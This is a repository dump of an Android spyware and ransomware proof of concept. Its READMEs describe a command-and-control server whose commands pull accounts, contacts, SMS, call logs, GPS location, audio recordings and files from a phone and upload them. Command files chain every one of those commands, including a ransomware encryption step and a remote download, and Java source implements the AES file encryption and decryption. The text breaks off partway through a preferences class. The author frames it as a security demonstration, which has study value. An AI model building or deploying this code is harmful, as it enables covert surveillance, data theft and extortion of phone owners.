├── .idea └── vcs.xml ├── MalwareServer ├── README.md ├── UploadFile.php ├── decrypt.class ├── decrypt.java ├── f0c41dcefc6eae83.cmd ├── f0c41dcefc6eae83.cmd.bak ├── getCommands.php └── getEncKey.php ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── burke_consulting │ │ └── malwareexample │ │ └── ApplicationTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── assets │ │ ├── gpl.txt │ │ └── server.crt │ ├── java │ │ └── com │ │ │ └── burke_consulting │ │ │ └── malwareexample │ │ │ ├── AsyncParams.java │ │ │ ├── AsyncService.java │ │ │ ├── BGMEncryption.java │ │ │ ├── BGMPrefs.java │ │ │ ├── BGMonitor.java │ │ │ ├── BGReceiver.java │ │ │ ├── CallLogHelper.java │ │ │ ├── CameraActivity.java │ │ │ ├── ConfigParams.java │ │ │ ├── FileUtils.java │ │ │ ├── GPSLocation.java │ │ │ ├── GetAccounts.java │ │ │ ├── GetAudio.java │ │ │ ├── GetBlueToothInfo.java │ │ │ ├── GetBrowserHistory.java │ │ │ ├── GetCamera.java │ │ │ ├── GetContacts.java │ │ │ ├── GetInstalledApps.java │ │ │ ├── GetPhoneInfo.java │ │ │ ├── GetSystemLog.java │ │ │ ├── GetWifi.java │ │ │ ├── ListSDFiles.java │ │ │ ├── MainActivity.java │ │ │ ├── MyAppContext.java │ │ │ ├── NetworkHandler.java │ │ │ ├── PhoneInfo.java │ │ │ ├── Ransomware.java │ │ │ ├── SMSLogHelper.java │ │ │ ├── SMSReceiver.java │ │ │ ├── SampleGattAttributes.java │ │ │ ├── WritePhoneInfo.java │ │ │ ├── XmlUtils.java │ │ │ └── decrypt.java │ └── res │ │ ├── drawable │ │ ├── malware.png │ │ └── notification_warning.png │ │ ├── layout │ │ ├── activity_camera.xml │ │ └── activity_main.xml │ │ ├── mipmap-hdpi │ │ └── ic_launcher.png │ │ ├── mipmap-mdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxxhdpi │ │ └── ic_launcher.png │ │ ├── values-w820dp │ │ └── dimens.xml │ │ └── values │ │ ├── colors.xml │ │ ├── dimens.xml │ │ ├── strings.xml │ │ └── styles.xml │ └── test │ └── java │ └── com │ └── burke_consulting │ └── malwareexample │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ └── gradle-wrapper.properties └── settings.gradle /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /MalwareServer/README.md: -------------------------------------------------------------------------------- 1 | # Malware Example Server Information 2 | 3 | The Malware server is an example php server used to send commands to the Android phone and to receive uploaded files. 4 | 5 | ## getEncKey.php 6 | 7 | a sample program to calculate an encryption key when requested by the client 8 | 9 | ## UploadFile.php 10 | 11 | Used to upload files to the server from the Android Phones. Each phone identified by it's deviceID is stored in a seperate directory 12 | 13 | ## getCommands.php 14 | 15 | The main server program used to send commands for the Android device to run. 16 | each phone is identified by the DeviceID sent by the client to the server. Each phones commands are stored in the file [DeviceID].cmd and are seperated by a ";" 17 | 18 | Eg. refresh:120000;getAccounts;getWifi; 19 | 20 | Commands are: 21 | 22 | ### refresh:VALUE; 23 | Delay VALUE number of milliseconds between each execution and command request to the server 24 | ### getAccounts; 25 | Get all accounts and send to the server 26 | ### getWifi; 27 | Get all known wifi networks and send to the server 28 | ### getBluetooth; 29 | Get all Bluetooth devices and send to the server 30 | ### getPhoneNumber; 31 | Get all phone info and send to the server 32 | ### getCamaera; 33 | Snap a picture on the phone and send to the server. [ NOTE does not work with more recent API versions ] 34 | ### getContacts; 35 | Get all Contact info and send to the server 36 | ### getPhoneLog; 37 | Get phone log and send to the server 38 | ### getSMSLog; 39 | Get SMS all messages and send to the server 40 | ### getBrowserHistory; 41 | Get Browser History and send to the server [ NOTE does not work with more recent API versions ] 42 | ### getSystemLogs; 43 | Get system logs and send to the server 44 | ### getLocation; 45 | Get GPS Location and send to the server 46 | ### getFilesOnSD; 47 | Get list of all files on the SD card and send to the server 48 | ### sendFile:PATH:FILE 49 | Send a file from the phone at PATH/FILE to the server. File will be encrypted prior to the transfer 50 | ### getAudio; 51 | Start and Audio recording on the phone and send to the server 52 | ### getInstalledApps; 53 | Get list of installed apps and send to the server 54 | ### ransomEncrypt:AAAAAAAAAAAAAAAA; 55 | Encrypt files on the SD card with provided Encryption Key.. [ Note: will only encrypt sample file for safety reasons ] 56 | ### ransomDecrypt:AAAAAAAAAAAAAAAA; 57 | Decrypt files on the SD card with provided Encryption Key.. [ Note: will only encrypt sample file for safety reasons ] 58 | ### download:URL:LOCALPATH:ENCKEY; 59 | Download a file as URL and copy to a local path location.. 60 | Note files ending in .enc must be encrypted, and will be decrypted on the fly 61 | any files ending in .zip will be unziped on the fly.. if the zip file contains multiple files the copy will be bypassed. 62 | ### sendSMS:PHONENUM:TEXT; 63 | Send an SMS to the PHONENUM with the TEXT 64 | 65 | -------------------------------------------------------------------------------- /MalwareServer/UploadFile.php: -------------------------------------------------------------------------------- 1 | 24 | 25 | -------------------------------------------------------------------------------- /MalwareServer/decrypt.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/MalwareServer/decrypt.class -------------------------------------------------------------------------------- /MalwareServer/decrypt.java: -------------------------------------------------------------------------------- 1 | 2 | import java.io.FileInputStream; 3 | import java.io.FileNotFoundException; 4 | import java.io.FileOutputStream; 5 | import java.io.IOException; 6 | import java.security.InvalidKeyException; 7 | import java.security.NoSuchAlgorithmException; 8 | import java.security.SecureRandom; 9 | 10 | import javax.crypto.Cipher; 11 | import javax.crypto.CipherInputStream; 12 | import javax.crypto.CipherOutputStream; 13 | import javax.crypto.KeyGenerator; 14 | import javax.crypto.NoSuchPaddingException; 15 | import javax.crypto.SecretKey; 16 | import javax.crypto.spec.SecretKeySpec; 17 | 18 | 19 | 20 | 21 | 22 | 23 | class decrypt { 24 | 25 | 26 | public static void main(String[] args) 27 | { 28 | try{ 29 | System.out.println("Decrypting: Key["+args[0]+"] Inputfile:["+args[1]+"] Outputfile:["+args[2]+"]"); 30 | decryptfile(args[0],args[1],args[2]); 31 | } catch (Exception ex){ 32 | System.out.println("usage Key Inputfile Outputfile"); 33 | System.out.println("Error:"+ex.toString()); 34 | 35 | } 36 | } 37 | 38 | // public decrypt() { 39 | 40 | // System.out("Decrypting: Key["+args[0]+"] Inputfile:["+args[1]+"] Outputfile:["+args[2]+"]"); 41 | // decryptfile(args[0],args[1],args[2]); 42 | // } 43 | 44 | public static void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException, 45 | NoSuchPaddingException, InvalidKeyException { 46 | FileInputStream fis = new FileInputStream(ifile); 47 | 48 | FileOutputStream fos = new FileOutputStream(ofile); 49 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(), 50 | "AES"); 51 | Cipher cipher = Cipher.getInstance("AES"); 52 | cipher.init(Cipher.DECRYPT_MODE, sks); 53 | CipherInputStream cis = new CipherInputStream(fis, cipher); 54 | int b; 55 | byte[] d = new byte[8]; 56 | while ((b = cis.read(d)) != -1) { 57 | fos.write(d, 0, b); 58 | } 59 | fos.flush(); 60 | fos.close(); 61 | cis.close(); 62 | } 63 | 64 | 65 | } 66 | 67 | -------------------------------------------------------------------------------- /MalwareServer/f0c41dcefc6eae83.cmd: -------------------------------------------------------------------------------- 1 | refresh:120000;getLocation; 2 | -------------------------------------------------------------------------------- /MalwareServer/f0c41dcefc6eae83.cmd.bak: -------------------------------------------------------------------------------- 1 | refresh:120000;getAccounts;getWifi;getBluetooth;getPhoneNumber;getCamaera;getContacts;getPhoneLog;getSMSLog;getBrowserHistory;getSystemLogs;getLocation;getFilesOnSD;getAudio;getInstalledApps;ransomEncrypt:AAAAAAAAAAAAAAAA;ransomDecrypt:AAAAAAAAAAAAAAAA;download:https://www.domain.com/phoneinfo.zip.enc:/storage/emulated/0/file.txt:1234567890123456;sendSMS:14165555555:Hey you; 2 | -------------------------------------------------------------------------------- /MalwareServer/getCommands.php: -------------------------------------------------------------------------------- 1 | 18 | -------------------------------------------------------------------------------- /MalwareServer/getEncKey.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Android Malware Example 2 | 3 | this project is a security proof of concept that shows the ability of simple android SDK features to implement a Malware feature set on Android phones. 4 | 5 | *Note: This program is not intended to be stealthy or use bugs in the androind OS/SDK to hid the application or the install of it. This software should not be used in the wild, or without the express concent of the device owner/operator* 6 | 7 | The Android Malware Example demonstrates the following abilites: 8 | 1. Using a Command and Control server to send commands to the device 9 | 10 | 2. Use of encryption for the following: 11 | 1. SSL communications with the server 12 | 2. SSL certificate validation to prevent SSL MiTM attacks 13 | 3. encrypt files before sending to the server 14 | 4. Ransomware feature to encrypt files on the device SD card 15 | 16 | 3. Background service which restarts on phone boot 17 | 18 | 4. SMS listener for inbound command activation 19 | 20 | 5. The following Malware Features are implemented and send thier data to the CNC Server 21 | 1. Get Wifi Network information 22 | 2. Get Phone information 23 | 3. Get Accounts configured on the device 24 | 4. Get all Contacts on the phone 25 | 5. Get the Phone Logs 26 | 6. Get SMS Logs 27 | 7. Get Bluetooth device information 28 | 8. Get System Logs 29 | 9. Get GPS Location 30 | 10. Get list of files on the SD Card 31 | 11. Send a File from the device to the CNC Server 32 | 12. Download a file from a URL and place it on the phone. 33 | 13. Encrypt/Decrypt all files on the SD card with a password (Ransomware) 34 | 14. Record audio on the device 35 | 15. Get list of installed Applications. 36 | 16. Send and SMS message to a phone number. 37 | 17. Configure a delay to check back with the CNC server 38 | 39 | 6. The following features are not implemented due to recent changes in the SDK which prevent them 40 | 1. access to browser history via the SDK 41 | 2. SDK access to the Camera in a way which hides the UI and takes a picture 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 24 5 | buildToolsVersion "24.0.1" 6 | 7 | defaultConfig { 8 | applicationId "com.burke_consulting.malwareexample" 9 | minSdkVersion 23 10 | targetSdkVersion 24 11 | versionCode 1 12 | versionName "1.0" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | } 21 | 22 | dependencies { 23 | compile fileTree(dir: 'libs', include: ['*.jar']) 24 | testCompile 'junit:junit:4.12' 25 | compile 'com.android.support:appcompat-v7:24.1.1' 26 | } 27 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in /home/darrylb/Android/Sdk/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | -------------------------------------------------------------------------------- /app/src/androidTest/java/com/burke_consulting/malwareexample/ApplicationTest.java: -------------------------------------------------------------------------------- 1 | package com.burke_consulting.malwareexample; 2 | 3 | import android.app.Application; 4 | import android.test.ApplicationTestCase; 5 | 6 | /** 7 | * Testing Fundamentals 8 | */ 9 | public class ApplicationTest extends ApplicationTestCase { 10 | public ApplicationTest() { 11 | super(Application.class); 12 | } 13 | } -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 59 | 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /app/src/main/assets/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIGCTCCA/GgAwIBAgIJAPrwm6ZpT1E9MA0GCSqGSIb3DQEBCwUAMIGaMQswCQYD 3 | VQQGEwJDQTEMMAoGA1UECAwDT250MRIwEAYDVQQHDAlOZXdtYXJrZXQxGTAXBgNV 4 | BAoMEEJ1cmtlIENvbnN1bHRpbmcxITAfBgNVBAMMGHd3dy5idXJrZS1jb25zdWx0 5 | aW5nLm5ldDErMCkGCSqGSIb3DQEJARYcZGFycnlsYkBidXJrZS1jb25zdWx0aW5n 6 | Lm5ldDAeFw0xNTAzMTcxODA1MzNaFw0yNTAzMTQxODA1MzNaMIGaMQswCQYDVQQG 7 | EwJDQTEMMAoGA1UECAwDT250MRIwEAYDVQQHDAlOZXdtYXJrZXQxGTAXBgNVBAoM 8 | EEJ1cmtlIENvbnN1bHRpbmcxITAfBgNVBAMMGHd3dy5idXJrZS1jb25zdWx0aW5n 9 | Lm5ldDErMCkGCSqGSIb3DQEJARYcZGFycnlsYkBidXJrZS1jb25zdWx0aW5nLm5l 10 | dDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALkjOQ20Cv8s18K/LM48 11 | WmxDUY5/1OU5+V1Noxrg5F6C4R2C99wSYd2csf5vuoFr0S/9S+Y4boCcWhWuHZln 12 | hVRHm7D4agveQV2oGcGvSo7W5MeGM5OGKFgpsV1BR6kzp/ashSx8mN8qka7GUeOJ 13 | q+Q0FjpWpu/UpJgItg6KDnXrGsn6a4W3Q2q73wLKCGsvrYSk0qIFdHxPbU9VBjmb 14 | YC89eLje3mGpfv1844ZT93Xa8o/OuRidmVFZ6bvk5KF8Khefa6tTGAkw58QR+/Hr 15 | D4sSKShYWQWFg2R7Pbwj5rbXDeHllIvT4XRl8IlZjFc14lNro/EWXMp6ptiYshPf 16 | iWmDVN+byCAtmFf3aHnrymBAmRsyayLkF0ajUDt/CoJx0d1wFHzucQNnJX/gxOcq 17 | MMAKPXtMj2p3Burbl7dxktP2Qv1b875rP/yxdJRG4AMCBQQBY6AWno1pThIf7A6l 18 | RAmYQ5D6OskP4LOJd2u3ZjD1MOFCIQ+WOiHpe2JGSmraBJRFSlxkbIsyJJBUp/tR 19 | Pc1NaShYPGdbtGe3itE8rOOjKHXun/lImQUAyRp4oI3xGgcKoxzTar1BoQHg/lLm 20 | SKA6yEIwouPhQb8ci9QxXjG8KrOm0bkLzTI50H/lUomB5Wxu00jS8tfMfLdCH0G+ 21 | XU7QRSRZOoYgbfpNa0paCwIjAgMBAAGjUDBOMB0GA1UdDgQWBBSzg20pQHjwYKiw 22 | eX7ODy5OW6MN/DAfBgNVHSMEGDAWgBSzg20pQHjwYKiweX7ODy5OW6MN/DAMBgNV 23 | HRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4ICAQBOr9q7rWLBdPM2k36o95MTuYJf 24 | SzyLJvG4W+2+3RnxJr9nmxVSx32bTrD3JCKrGcFu81WQ5CQo8FjPHWamI0kKu/ys 25 | uFZ3EJDvgARL41LyULPWLw30Yne2n7INs5xJYa/XZBpd8TXqyAbsivynnnhJT6PN 26 | cXds+m6rnYGgTCjD66fWAno1hpGzKcLsoAHv/62dIchzNjeZwL2/hNtwXgxXbQzY 27 | EpKm7aMpRjjDAHxB2hHb85GxgU1P1rGn7tIaNsLkcEIO7YSxuN8naRyhYxidus2g 28 | JMd8qx+A1K42tHK8OEhCnm5PigXQtwcKiAFShpU+oqqpIERkcxBeF70k8D9mQTWV 29 | /w8vHkCnYihcwkAPKAYQEVrmRb37ZVHqrZRLUfkwu0MeUm6dXNepJdpn4u3wjPx4 30 | 1aEKYdsuIqJ3ceOfohG9pJbcykAL2ogc8m/HQDQ8B1gY+XS0IeSHN9XqBKHGrmDI 31 | mvLGhtYl9jS/i2k9AM+g2tqMkWXM3w6edblb2G2snCUk/wx/dPYd5jPuxdHGrVNm 32 | xTm5CYBB+uqG4qA2sCeAghf+rYBExTUMzJ01vZVz9rAegv72EJkNkNdqmgEdhgQV 33 | DGWR+d5IzHpmvp0nbH6DzxuFtvfMSW/ckZ/v1O7iiU38qFDyBqiMqYV2YZ9VDd+y 34 | CkmmFLnjwwxMlTvahg== 35 | -----END CERTIFICATE----- 36 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/AsyncParams.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | 25 | /** 26 | * Created by darrylb on 10/2/16. 27 | */ 28 | public class AsyncParams { 29 | public Context _context; 30 | public MainActivity _activity; 31 | } 32 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/AsyncService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.ComponentName; 24 | import android.content.Context; 25 | import android.content.Intent; 26 | import android.util.Log; 27 | 28 | import org.xml.sax.InputSource; 29 | import org.xml.sax.XMLReader; 30 | 31 | import java.net.URL; 32 | 33 | import javax.xml.parsers.SAXParser; 34 | import javax.xml.parsers.SAXParserFactory; 35 | 36 | /** 37 | * Created by darrylb on 10/2/16. 38 | */ 39 | public class AsyncService { 40 | 41 | 42 | // ComponentName _comp = startService(new Intent(MainActivity.this,BGMonitor.class)); 43 | // Log.d("BGMonitorActivity", _comp.flattenToString()); 44 | 45 | 46 | private Exception exception; 47 | 48 | protected void doInBackground(AsyncParams params) { 49 | try { 50 | 51 | ComponentName _comp = params._context.startService(new Intent(params._activity,BGMonitor.class)); 52 | 53 | } catch (Exception e) { 54 | this.exception = e; 55 | 56 | } 57 | } 58 | 59 | protected void onPostExecute() { 60 | // TODO: check this.exception 61 | // TODO: do something with the feed 62 | } 63 | 64 | } 65 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/BGMEncryption.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.telephony.TelephonyManager; 25 | 26 | import java.io.FileInputStream; 27 | import java.io.FileNotFoundException; 28 | import java.io.FileOutputStream; 29 | import java.io.IOException; 30 | import java.security.InvalidKeyException; 31 | import java.security.NoSuchAlgorithmException; 32 | import java.security.SecureRandom; 33 | 34 | import javax.crypto.Cipher; 35 | import javax.crypto.CipherInputStream; 36 | import javax.crypto.CipherOutputStream; 37 | import javax.crypto.KeyGenerator; 38 | import javax.crypto.NoSuchPaddingException; 39 | import javax.crypto.SecretKey; 40 | import javax.crypto.spec.SecretKeySpec; 41 | 42 | 43 | 44 | 45 | 46 | 47 | public class BGMEncryption { 48 | 49 | public static String GetID(Context mContext) { 50 | 51 | final TelephonyManager tm = (TelephonyManager) mContext 52 | .getSystemService(Context.TELEPHONY_SERVICE); 53 | 54 | String android_id = tm.getDeviceId(); 55 | return android_id; 56 | } 57 | 58 | public void __EncryptFile(String key, String ifile, String ofile) { 59 | 60 | FileInputStream fis = null; 61 | FileOutputStream fos = null; 62 | CipherOutputStream cos; 63 | // File you are reading from 64 | try { 65 | fis = new FileInputStream(ifile); 66 | } catch (FileNotFoundException e) { 67 | // TODO Auto-generated catch block 68 | e.printStackTrace(); 69 | } 70 | // File output 71 | try { 72 | fos = new FileOutputStream(ofile); 73 | } catch (FileNotFoundException e) { 74 | // TODO Auto-generated catch block 75 | e.printStackTrace(); 76 | } 77 | 78 | // Here the file is encrypted. The cipher1 has to be created. 79 | // Key Length should be 128, 192 or 256 bit => i.e. 16 byte 80 | SecretKeySpec skeySpec = new SecretKeySpec( 81 | key.getBytes(), "AES"); 82 | Cipher cipher1 = null; 83 | try { 84 | cipher1 = Cipher.getInstance("AES"); 85 | } catch (NoSuchAlgorithmException e) { 86 | // TODO Auto-generated catch block 87 | e.printStackTrace(); 88 | } catch (NoSuchPaddingException e) { 89 | // TODO Auto-generated catch block 90 | e.printStackTrace(); 91 | } 92 | try { 93 | cipher1.init(Cipher.ENCRYPT_MODE, skeySpec); 94 | } catch (InvalidKeyException e) { 95 | // TODO Auto-generated catch block 96 | e.printStackTrace(); 97 | } 98 | cos = new CipherOutputStream(fos, cipher1); 99 | // Here you read from the file in fis and write to cos. 100 | byte[] b = new byte[8]; 101 | int i = 0; 102 | try { 103 | i = fis.read(b); 104 | } catch (IOException e) { 105 | // TODO Auto-generated catch block 106 | e.printStackTrace(); 107 | } 108 | while (i != -1) { 109 | try { 110 | cos.write(b, 0, i); 111 | } catch (IOException e) { 112 | // TODO Auto-generated catch block 113 | e.printStackTrace(); 114 | } 115 | try { 116 | i = fis.read(b); 117 | } catch (IOException e) { 118 | // TODO Auto-generated catch block 119 | e.printStackTrace(); 120 | } 121 | } 122 | try { 123 | cos.flush(); 124 | } catch (IOException e) { 125 | // TODO Auto-generated catch block 126 | e.printStackTrace(); 127 | } 128 | 129 | } 130 | 131 | public void encryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException, 132 | NoSuchPaddingException, InvalidKeyException { 133 | // Here you read the cleartext. 134 | FileInputStream fis = new FileInputStream(ifile); 135 | // This stream write the encrypted text. This stream will be wrapped by 136 | // another stream. 137 | FileOutputStream fos = new FileOutputStream(ofile); 138 | 139 | // Length is 16 byte 140 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(), 141 | "AES"); 142 | // Create cipher 143 | Cipher cipher = Cipher.getInstance("AES"); 144 | cipher.init(Cipher.ENCRYPT_MODE, sks); 145 | // Wrap the output stream 146 | CipherOutputStream cos = new CipherOutputStream(fos, cipher); 147 | // Write bytes 148 | int b; 149 | byte[] d = new byte[8]; 150 | while ((b = fis.read(d)) != -1) { 151 | cos.write(d, 0, b); 152 | } 153 | // Flush and close streams. 154 | cos.flush(); 155 | cos.close(); 156 | fis.close(); 157 | } 158 | 159 | public void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException, 160 | NoSuchPaddingException, InvalidKeyException { 161 | FileInputStream fis = new FileInputStream(ifile); 162 | 163 | FileOutputStream fos = new FileOutputStream(ofile); 164 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(), 165 | "AES"); 166 | Cipher cipher = Cipher.getInstance("AES"); 167 | cipher.init(Cipher.DECRYPT_MODE, sks); 168 | CipherInputStream cis = new CipherInputStream(fis, cipher); 169 | int b; 170 | byte[] d = new byte[8]; 171 | while ((b = cis.read(d)) != -1) { 172 | fos.write(d, 0, b); 173 | } 174 | fos.flush(); 175 | fos.close(); 176 | cis.close(); 177 | } 178 | 179 | // strings related methods and data 180 | 181 | public static String encryptstring(String seed, String cleartext) 182 | throws Exception { 183 | byte[] rawKey = getRawKey(seed.getBytes()); 184 | byte[] result = encryptbytes(rawKey, cleartext.getBytes()); 185 | return toHex(result); 186 | } 187 | 188 | public static String decryptstring(String seed, String encrypted) 189 | throws Exception { 190 | byte[] rawKey = getRawKey(seed.getBytes()); 191 | byte[] enc = toByte(encrypted); 192 | byte[] result = decryptbytes(rawKey, enc); 193 | return new String(result); 194 | } 195 | 196 | private static byte[] getRawKey(byte[] seed) throws Exception { 197 | KeyGenerator kgen = KeyGenerator.getInstance("AES"); 198 | SecureRandom sr = SecureRandom.getInstance("SHA1PRNG"); 199 | sr.setSeed(seed); 200 | kgen.init(128, sr); // 192 and 256 bits may not be available 201 | SecretKey skey = kgen.generateKey(); 202 | byte[] raw = skey.getEncoded(); 203 | return raw; 204 | } 205 | 206 | private static byte[] encryptbytes(byte[] raw, byte[] clear) 207 | throws Exception { 208 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 209 | Cipher cipher = Cipher.getInstance("AES"); 210 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec); 211 | byte[] encrypted = cipher.doFinal(clear); 212 | return encrypted; 213 | } 214 | 215 | private static byte[] decryptbytes(byte[] raw, byte[] encrypted) 216 | throws Exception { 217 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 218 | Cipher cipher = Cipher.getInstance("AES"); 219 | cipher.init(Cipher.DECRYPT_MODE, skeySpec); 220 | byte[] decrypted = cipher.doFinal(encrypted); 221 | return decrypted; 222 | } 223 | 224 | public static String toHex(String txt) { 225 | return toHex(txt.getBytes()); 226 | } 227 | 228 | public static String fromHex(String hex) { 229 | return new String(toByte(hex)); 230 | } 231 | 232 | public static byte[] toByte(String hexString) { 233 | int len = hexString.length() / 2; 234 | byte[] result = new byte[len]; 235 | for (int i = 0; i < len; i++) 236 | result[i] = Integer.valueOf(hexString.substring(2 * i, 2 * i + 2), 237 | 16).byteValue(); 238 | return result; 239 | } 240 | 241 | public static String toHex(byte[] buf) { 242 | if (buf == null) 243 | return ""; 244 | StringBuffer result = new StringBuffer(2 * buf.length); 245 | for (int i = 0; i < buf.length; i++) { 246 | appendHex(result, buf[i]); 247 | } 248 | return result.toString(); 249 | } 250 | 251 | private final static String HEX = "0123456789ABCDEF"; 252 | 253 | private static void appendHex(StringBuffer sb, byte b) { 254 | sb.append(HEX.charAt((b >> 4) & 0x0f)).append(HEX.charAt(b & 0x0f)); 255 | } 256 | 257 | } 258 | 259 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/BGMPrefs.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | import android.content.Context; 23 | import android.content.SharedPreferences; 24 | import android.util.Log; 25 | 26 | import java.util.Map; 27 | 28 | /** 29 | * Created by darrylb on 10/2/16. 30 | */ 31 | public class BGMPrefs { 32 | ConfigParams configParams; 33 | 34 | private Context context; 35 | private SharedPreferences settings; 36 | private BGMEncryption encrypt; 37 | public Boolean isInited = false; 38 | public BGMPrefs(Context _context){ 39 | context = _context; 40 | configParams = new ConfigParams(context); 41 | encrypt = new BGMEncryption(); 42 | settings = context.getSharedPreferences(configParams.PROGID,0); 43 | isInited = hasbeeninit(); 44 | if (!isInited){ 45 | if (configParams.Logging) Log.d(configParams.PROGID,"First Run.. getting EncKey"); 46 | // Run local key init on first call; 47 | NetworkHandler handler = new NetworkHandler(context); 48 | String firstkey = handler.getRemoteEncKey(); 49 | configParams.SetEncKey(firstkey); 50 | setLocalEncKey(firstkey); 51 | settings.edit().putBoolean("init",true).commit(); 52 | isInited = true; 53 | } else { 54 | if (configParams.Logging) Log.d(configParams.PROGID,"Prefs Already Initialized"); 55 | configParams.LocalEncryptionKey = getLocalEncKey(); 56 | isInited = true; 57 | } 58 | DumpSharedPrefs(); 59 | } 60 | public void resetInit() { 61 | 62 | } 63 | public void DumpSharedPrefs () { 